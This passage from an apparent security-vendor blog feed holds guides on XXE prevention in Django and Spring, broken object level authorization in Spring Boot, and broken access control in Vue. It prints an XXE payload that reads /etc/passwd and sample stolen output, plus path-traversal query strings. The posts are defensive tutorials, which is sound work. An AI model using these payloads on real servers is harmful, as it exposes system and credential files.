&lt;b&gt;&amp;amp;lol6; &lt;/b&gt;entities?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;And each &lt;b&gt;&amp;amp;lol6;&lt;/b&gt; has 10 &lt;b&gt;&amp;amp;lol5; &lt;/b&gt;entities!&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Keep going, and we end up with 109&lt;b&gt;lols!&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;So, that&amp;#39;s literally a billion laughs. As a result, a tiny XML document expands to a few gigabytes of memory when processed. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Avoiding Django XML External Entities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;How do you avoid these attacks if your Django application needs to parse untrusted XML? Quite simply, it turns out. The &lt;a href=&quot;https://pypi.org/project/defusedxml/#defusedxml-package&quot;&gt;&lt;u&gt;defusedxml&lt;/u&gt;&lt;/a&gt; python package does all the work for you. Update a few &lt;b&gt;import&lt;/b&gt; statements, and it&amp;#39;ll throw an exception when it comes across a forbidden construct. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;No Laughs for You&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s start with a billion laughs. Put the XML above in a file named &lt;b&gt;lolz.xml,&lt;/b&gt; then point this code at it. You&amp;#39;ll need a Python environment with &lt;b&gt;defusedxml&lt;/b&gt; installed. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code uses the standard Python &lt;a href=&quot;https://docs.python.org/3.9/library/xml.etree.elementtree.html&quot;&gt;&lt;u&gt;ElementTree&lt;/u&gt;&lt;/a&gt; parser, wrapped in defusedxml&amp;#39;s protection. Instead of importing it from ElementTree, we specified defused&amp;#39;s wrapper. After parsing the document, the code walks the document&amp;#39;s child nodes and prints them—if it gets there. If processing the document throws, we print out the exception to see why. &lt;/p&gt;&lt;p&gt;But here&amp;#39;s the output: &lt;/p&gt;&lt;p&gt;&lt;code&gt;EntitiesForbidden(name=&amp;#39;lol&amp;#39;, system_id=None, public_id=None)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Defusedxml refused to parse the document! It saw the first Entity declaration and threw an appropriate exception. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;No File Retrievals&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s put the file retrieval XML in a file named &lt;b&gt;files.xml&lt;/b&gt; and point the parsing code at it. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The output looks similar to the previous trial: &lt;/p&gt;&lt;p&gt;&lt;code&gt;EntitiesForbidden(name=&amp;#39;xxe&amp;#39;, system_id=&amp;#39;file://etc/hosts&amp;#39;, public_id=None)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;Just like before, defusedxml stopped parsing when it saw an entity declaration. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Defusedxml Protects You From XXEs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These examples are using defusedxml&amp;#39;s ElementTree interface. It also offers interfaces for cElementTree, expatreader, sax, minidom, pulldom, and several other XML parsers and builders. So, it&amp;#39;s very easy to plug it into existing Python apps by updating your imports. If you need to write new code, you can still use the interfaces you&amp;#39;re accustomed to. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;No More Django XML External Entity Attacks&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;XML External Attacks are dangerous constructs that can take your application down and steal your client&amp;#39;s data. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;You need to protect yourself from them. In this post, we discussed what the attacks look like and then saw how easy it is to protect your Django sites with defusedxml without modifying much more than a few import statements. &lt;/p&gt;&lt;p&gt;Now that you understand Django external entity attacks check your code and make sure you&amp;#39;re safe. While you&amp;#39;re at it, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free account&lt;/u&gt;&lt;/a&gt; and take your code security to the next level! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Eric&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;If a malicious user gains access to functionality that only system administrators should have access to, there can be dire consequences. This post is about a specific type of vulnerability called broken object level authorization, or BOLA. This happens when an attacker gains access to API methods that should be restricted. In addition to talking about what this is, I&amp;#39;ll discuss ways to mitigate this attack in general, and specifically in &lt;a href=&quot;https://www.ibm.com/cloud/learn/java-spring-boot&quot;&gt;&lt;u&gt;Java Spring Boot&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Object Level Authorization Defined&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Back-end APIs are basically a set of functions that return answers to requests. For instance, if we run an e-commerce shop, API will handle many functions. Some examples include getting the product description, getting the product inventory, setting the product price, adding the product to the shopping cart, checking out, and sending an invoice, among other things. Some of those actions should be accessible to every user who reaches the store, whether it&amp;#39;s an application or a website. For example, all users should be able to get product details, get product category details, and view the shipping policy page. &lt;/p&gt;&lt;p&gt;On the other hand, other actions should be strictly performed by specific users only. For instance, shop administrators should be the only ones who can update product inventory or set a product price. Only specific store shoppers should be able to add a specific product to the cart and check out with their order. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;If&lt;/b&gt; the store developers &lt;b&gt;don&amp;#39;t enforce&lt;/b&gt; proper permissions on those actions, &lt;b&gt;serious consequences&lt;/b&gt; can occur. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;For example, a malicious actor will be able to add products to a cart in the name of an existing client. Or they can change the shipping address and pay for them with the existing client&amp;#39;s payment method. Moreover, if the malicious user successfully accesses functionality that only the store&amp;#39;s administrator should be able to manage, the consequences might be much worse. We call this vulnerability broken object level authorization. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Technical Specifics of a Broken Object Level Authorization Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As described above, broken object level authorization is basically a vulnerability that allows an attacker access to restricted data or functionality. Now let&amp;#39;s see how it happens in detail. Usually, APIs use URLs of the following structure to access specific resources of items: http://domain.com/api/version/resource/sub-resource/id. In addition, the ID of the resource can appear in the header of the request or in the body instead of the URL. In any case, to access a certain resource, each user generally needs to undergo two steps: authentication and authorization. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication basically means logging in. The system receives a combination of a username and password or an API access token and then validates those credentials against the data that it stores. If users enter the correct credentials, they can log in and do API requests. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;However, authentication is not the full story here. It&amp;#39;s just the first step. Being authenticated just means that the API &amp;quot;knows who you are.&amp;quot; It doesn&amp;#39;t mean that you can actually do requests to API endpoints. This stage is authorization. Each user can have different privileges grouped into a &amp;quot;role,&amp;quot; and each endpoint can have granular permissions. For instance, an endpoint that accesses a product page will allow all users to view the data, but only the store admin can edit anything. Basically, there should be a check for each API call if the user who has issued it has access to the endpoint and has permission to do the specific action. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Implementing Authorization&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A developer can implement authorization in different ways. For instance, we can send the API_token with each request. The API code will check the API_token against the action the user wants to perform and the token&amp;#39;s permissions list. Alternatively, we can store the permissions in an encrypted way on the client side. Then it can be sent over to the server with each request. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Breaking Into the API&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;The specifics of how an &lt;b&gt;attacker&lt;/b&gt; can break into an API are application &lt;b&gt;specific&lt;/b&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The general idea, as stated above, is to gain privileges to restricted data or actions. Hijacking the API_TOKEN can be easily done if the API token is sent as part of the URL request: http://domain.com/api/version/resource/sub-resource/id?api_token=randomApiToken1422345. Alternatively, an attacker can do it by copying an encrypted JSON web token from a client machine. However, in most cases, this is just human error when API developers don&amp;#39;t properly check the permissions on their end. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Spring Boot&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Spring framework is a superb Java framework for creating web applications and enterprise applications. In 2005, Pivotal developed the Spring framework, and it&amp;#39;s still very popular today. Ever since Pivotal developed the Spring framework, they have added various modules to the core Spring container. Spring Boot is one of the most commonly used ones, and it is the convention over configuration (CoC) part of the Spring framework. Spring Boot lets you code with very minimal configuration. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating Broken Object Level Authorization Vulnerability&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;I&amp;#39;ll first discuss how to mitigate this vulnerability in general and then dive into Spring Boot specifics. To mitigate this vulnerability, API developers should first and foremost put authentication and authorization code in place. Without those, &lt;i&gt;any&lt;/i&gt; API endpoint is compromised. In addition, proper test cases should cover those mechanisms via unit tests, component tests, and integration tests. Tests should cover at least the most popular and business-critical endpoints. In addition, the tests should cover different use cases. For instance, let&amp;#39;s say that a user has entered the wrong credentials. The expected behavior is that no API endpoint can be accessed. The user tries to access an endpoint that they don&amp;#39;t have access to. The expected behavior is that access will be denied. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Additional Actions&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Verify that each user has specific permissions. If you are deploying a more robust user management system that includes user roles, then make sure that a role hierarchy is in place. For example, an administrator can do all guest actions but not vice versa. Likewise, to prevent request forgeries, don&amp;#39;t use an API token as a query param, as in this example: http://domain.com/api/version/resource/sub-resource/id?api_token=randomApiToken1422345. Require API users to refresh their credentials periodically. Don&amp;#39;t store permission information in an unencrypted browser cookie on the client&amp;#39;s side. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Mitigating Broken Object Level Authorization Vulnerability in Spring Boot&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Luckily, Spring Boot has Spring Security. This is a robust and built-in way to handle authentication and authorization, thus preventing this vulnerability. Since Spring Security is very robust and has lots of configuration options, we can&amp;#39;t cover all of it here. However, it is sufficient to point out that it provides you with BOLA mitigation out of the box. We can use this snippet: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This enables Spring Security in our application automatically. This configuration protects our endpoints by default. And we need to manually set permissions for each endpoint to make it accessible to users. This is a good starting point for developing any new API in Spring Boot. Having said that, users have to take into account that Spring Security can have a steep learning curve. It can also be overkill for their needs. If you are building a small API, then developing authentication and authorization from scratch can be the right way to go. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;BOLA is a serious vulnerability. An attacker can get access to restricted information or functionality. &lt;a href=&quot;https://owasp.org/www-project-api-security/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt; considers it to be the #1 API vulnerability. Broken object level authorization usually occurs due to human error in API implementation. However, despite its serious impact, its mitigation is straightforward (at least strategy wise) through proper authentication and authorization. Spring comes with a module that handles those out of the box, which, in turn, can make mitigating this vulnerability easier for Spring Boot users. 
&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman. &lt;/i&gt;&lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;i&gt;&lt;u&gt;Alexander&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As our leverage grows as productive market members, so do the threats and liabilities we need to mitigate. Therefore, the expertise we need to acquire in order to minimize these threats keeps expanding.&lt;/p&gt;&lt;p&gt;So, to help you keep things manageable, we&amp;#39;ve created a series of articles tackling the most common security threats and how to address them effectively.&lt;/p&gt;&lt;p&gt;Our articles cover an extensive spectrum of subjects and technologies; no matter your technology of choice, we have an article for you.&lt;/p&gt;&lt;p&gt;For this article, we&amp;#39;ll be exploring the topic of broken access control for Vue.js developers.&lt;/p&gt;&lt;p&gt;If you have no experience with any of these technologies, we recommend you take a quick look at &lt;a href=&quot;https://v2.vuejs.org/v2/guide/?redirect=true&quot;&gt;&lt;u&gt;this link.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;However, we won&amp;#39;t be going too deep into specifics, so don&amp;#39;t worry too much. A basic understanding of Javascript is required, but it won&amp;#39;t take too long to get the hang of it. Plus, you will learn some really cool stuff.&lt;/p&gt;&lt;p&gt;Alright. Moving on.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Explaining Access Control&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Access control, also referred to as authorization, pertains to a &lt;b&gt;set of policies and mechanisms&lt;/b&gt; that &lt;b&gt;govern access to digital resources.&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;The normal authorization flow takes place once the server has determined your credentials through an authentication mechanism. It then follows by granting or restricting what resources a user has access to by controlling privileges and routes to resources and endpoints.&lt;/p&gt;&lt;p&gt;Despite their similarities in the process of protecting and gatekeeping resources, it&amp;#39;s important not to confuse the role of authentication with that of authorization. Strictly speaking, authentication is the act of determining a user&amp;#39;s identity. On the other hand, authorization is the act of determining whether a user has access to a resource.&lt;/p&gt;&lt;p&gt;Additionally, authorization infrastructure is commonly the backbone for user tracking and resource monitoring.&lt;/p&gt;&lt;p&gt;Implementing a trustworthy and reliable access control system is a very intricate and misleadingly challenging task since it is so intimately tied to the architecture of your system.&lt;/p&gt;&lt;p&gt;Depending on the scale and sophistication of your system, an acceptable solution could mean implementing a complex authentication mechanism, a third-party library, or a combination of both.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Access Control&lt;/b&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;As you might have imagined already, &lt;b&gt;&amp;quot;broken access control&amp;quot;&lt;/b&gt; refers to the act of &lt;b&gt;breaching your system&amp;#39;s access control&lt;/b&gt; (hence the &amp;quot;broken&amp;quot; part of the term).&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;It goes without saying that a breach of your access control mechanism is a significant concern for your security. This event could be disastrous to your business and the users who use your service. Knowing that a single successful breach could provide a bad actor with control over your platform, it is essential to address any vulnerability found.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Broken Access Control Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken access control vulnerabilities can present themselves in many different ways.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure ID Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Modern websites use some form of ID to quickly and efficiently retrieve data. However, if these IDs are easy to figure out, there is a potential vulnerability.&lt;/p&gt;&lt;p&gt;To illustrate, imagine you have a profile page section where the user profile is displayed. Then the following URL retrieves our user profile.&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.supersecure.com/profile?id=123&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;By changing the number in this query string, I can access any profile. That&amp;#39;s the kind of threat you face when no active access control is in place.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Path Traversal Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Path Traversal refers to the ability to navigate a filesystem&amp;#39;s directory. Without proper access control, your system might be victim to Path Traversal exploits, allowing bad actors to access restricted resources on the server.&lt;/p&gt;&lt;p&gt;To illustrate, please refer to the following URL.&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.supersecure.com/photos?file=user.png&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;When the path of a resource in the system can be modified by the user and is not adequately validated, this is a potentially vulnerable point. For example, if you were to change &amp;#39;user.png&amp;#39; to something like &amp;#39;../../src/secrets&amp;#39;, we could access the application secrets.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;File Permission Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Typically, web applications include vital configuration files and resources that should not be accessible by users. However, an attacker can target these files if there is a poor implementation of configuration policies.&lt;/p&gt;&lt;p&gt;In this case, File Permission vulnerabilities are vulnerabilities in the server&amp;#39;s permission mechanism.&lt;/p&gt;&lt;p&gt;To illustrate this, here is an example.&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.supersecure.com/photos?file=../../secure.json&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, the attacker is requesting our application to retrieve a file that it&amp;#39;s not supposed to retrieve.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Implementing Proper Authentication&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The first thing you need to do is make sure that you have implemented proper authentication in your application.&lt;/p&gt;&lt;p&gt;We will be using the Auth0 service to provide a robust authentication solution.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s a quick refresher on how to implement Auth0 on your application from our&lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-access-control-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;previous article&lt;/u&gt;&lt;/a&gt; on the subject.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;First, go to the &lt;a href=&quot;https://auth0.com/&quot;&gt;&lt;u&gt;Auth0 website&lt;/u&gt;&lt;/a&gt; and register a new application. If you don&amp;#39;t have an Auth0 account, you can sign up &lt;a href=&quot;https://auth0.com/signup&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Once in the Auth0 dashboard, go to the &lt;b&gt;Applications&lt;/b&gt; section and click on the &lt;b&gt;Create application&lt;/b&gt; button. Input a name for your application and make sure to choose &lt;b&gt;Regular web applications&lt;/b&gt; as the application type.&lt;/p&gt;&lt;p&gt;Lastly, click the &lt;b&gt;Create&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;After creating the application, go to the &lt;b&gt;Settings&lt;/b&gt; tab and get your Auth0 &lt;b&gt;domain&lt;/b&gt; and &lt;b&gt;client id&lt;/b&gt;. Then, set &lt;b&gt;Allowed callback URLs&lt;/b&gt; to &lt;b&gt;https://localhost:8080/callback&lt;/b&gt; and &lt;b&gt;Allowed logout URLs&lt;/b&gt; to &lt;b&gt;https://localhost:8080/&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;The first URL tells Auth0 where to redirect the user after authentication, and the second URL tells Auth0 where to redirect the user after logout.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Finally, save your changes.&lt;/p&gt;&lt;p&gt;Now, go to your project&amp;#39;s root folder and create a file called &amp;quot;appsettings.json&amp;quot; there. Then, add the following code and update YOUR_DOMAIN and YOUR_CLIENT_ID with the corresponding values from the Auth0 dashboard.&lt;/p&gt;&lt;p&gt;&lt;code&gt;{
    &amp;quot;domain&amp;quot;: &amp;quot;YOUR_AUTH0_DOMAIN&amp;quot;,
    &amp;quot;clientId&amp;quot;: &amp;quot;YOUR_AUTH0_CLIENT_ID&amp;quot;,
    &amp;quot;audience&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;serverUrl&amp;quot;: &amp;quot;&amp;quot;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;
That&amp;#39;s it.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Addressing Broken Access Control Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Addressing broken access control vulnerabilities requires making a few simple adjustments to our platform.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure IDs&lt;/b&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;To address insecure IDs, we need to ensure we have &lt;b&gt;implemented GUIDs&lt;/b&gt; as our IDs so they are not easily guessable. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;In addition, IDs belonging to sensitive resources must be unique and obfuscated.&lt;/p&gt;&lt;p&gt;Of course, this requires a significant change if you have not done so beforehand, but it&amp;#39;s critical to make this change as it is the most fundamental security measure we can take.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Path Traversal&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In order to mitigate path traversal attacks, we must validate all user inputs and restrict access to resources as much as possible.&lt;/p&gt;&lt;p&gt;A simple way to do this would be with the following check:&lt;/p&gt;&lt;p&gt;&lt;code&gt;var rootDirectory = &amp;#39;/var/www/&amp;#39;;
var path = require(&amp;#39;path&amp;#39;);
var filename = path.join(rootDirectory, userInput);
if (filename.indexOf(rootDirectory) !== 0) {
  return respond(&amp;#39;ACCESS DENIED&amp;#39;);
}&lt;/code&gt;
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This filename variable contains the name of a validated file or directory.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;File Permission&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Vue.js and Node.js do everything that needs to be done in this regard, so you don&amp;#39;t need to do much to stay secure. Nevertheless, you should consult your security manager if you need to tinker with these settings.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It is hard to argue with the notion that in terms of productivity and capacity to create wealth, no career compares to software development. Creating products and services that reach mass adoption and bring immense change has never been this easy, and with that power comes great responsibility.&lt;/p&gt;&lt;p&gt;Creating elegant and robust solutions is now a cakewalk with Node.js and Vue.js. Nevertheless, it is essential to understand that, despite these technologies&amp;#39; enormous leverage and versatility, it is still crucial to keep an eye on our security.&lt;/p&gt;&lt;p&gt;We recommend considering our dynamic application security testing (DAST) solution for your team.&lt;/p&gt;&lt;p&gt;Our DAST runs security tests against your running application in real-time, finding vulnerabilities your team might have introduced and exploitable open source vulnerabilities in your libraries.&lt;/p&gt;&lt;p&gt;You can check it out &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Juan&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring XML External Entities (XXE) Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-xml-external-entities-xxe-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;XML is a markup language that we use to define and categorize data. Data stored in XML format can move between multiple servers or between a client and a server. &lt;/p&gt;&lt;p&gt;Once a server receives an XML input, it parses it via an XML parser. XML external entities are basically references in the XML document to files or URLs outside of the XML document. Essentially, it&amp;#39;s an XML standard feature that enables accessing and/or loading external resources. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;However, this feature can be dangerous, as it can allow malicious actors to retrieve &lt;b&gt;unauthorized sensitive data, server-side request forgery attacks, and file contents&lt;/b&gt;. &lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;What Is XXE?&lt;/h2&gt;&lt;p&gt;XML documents adhere to a certain standard. This standard highlights how the XML document should be constructed, outlines what differentiates a valid XML document from an invalid one, and so forth. &lt;/p&gt;&lt;p&gt;The standard also specifies a term called &amp;quot;entity.&amp;quot; An entity is a placeholder for some content. &lt;/p&gt;&lt;p&gt;Entities can be internal or, as in our case, external. &lt;/p&gt;&lt;p&gt;Entities are accessed via a system identifier. This identifier is a pointer to a location. It can either be a file or a URL. The standard specifies what should happen when an XML parser software accesses this entity. &lt;/p&gt;&lt;p&gt;It fetches the file/URL that&amp;#39;s pointed by the system identifier and replaces the system identifier with the contents of the file/website. For instance, if we have an XML document that looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The contents of this line &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;amp;xxe;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;will be replaced with the contents of the passwords file at &lt;b&gt;file://etc/passwd&lt;/b&gt;, which can look like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Thus, this scenario discloses sensitive user information. Note that this is not a bug, but it&amp;#39;s a feature in the XML specification. The problem arises when the parser allows executing XXEs and we don&amp;#39;t validate the input we receive from the client. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll cover this more in depth later. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Real-World Example&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s assume you&amp;#39;re browsing an e-commerce website. To retrieve the specification for a certain product (size, weight, price, etc.) the client (in this case, our browser) sends an XML to the server with the product&amp;#39;s ID: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;product&amp;gt;1478&amp;lt;/product&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The server, in turn, should return a response similar to this one: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;However, if the server doesn&amp;#39;t validate the input properly, we can emulate the client&amp;#39;s call and send the following payload instead: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE foo [ &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot;&amp;gt; ]&amp;gt;
&amp;lt;product&amp;gt;&amp;amp;xxe;&amp;lt;/product&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will result in the following response from the server: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Invalid product id:
alexander:x:1000:1000:Alexander:/home/alexander:/bin/bash 
flatpak:x:978:976:User for flatpak system helper:/:/sbin/nologin 
jenkins:x:977:975:Jenkins Automation Server:/var/lib/jenkins:/bin/false 
nginx:x:976:974:Nginx web server:/var/lib/nginx:/sbin/nologin 
redis:x:975:973:Redis Database Server:/var/lib/redis:/sbin/nologin 
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin 
systemd-oom:x:967:967:systemd Userspace OOM Killer:/:/usr/sbin/nologin&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SSRF XXE&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In addition to compromising file contents, an XXE can be used to create server-side request forgery. 
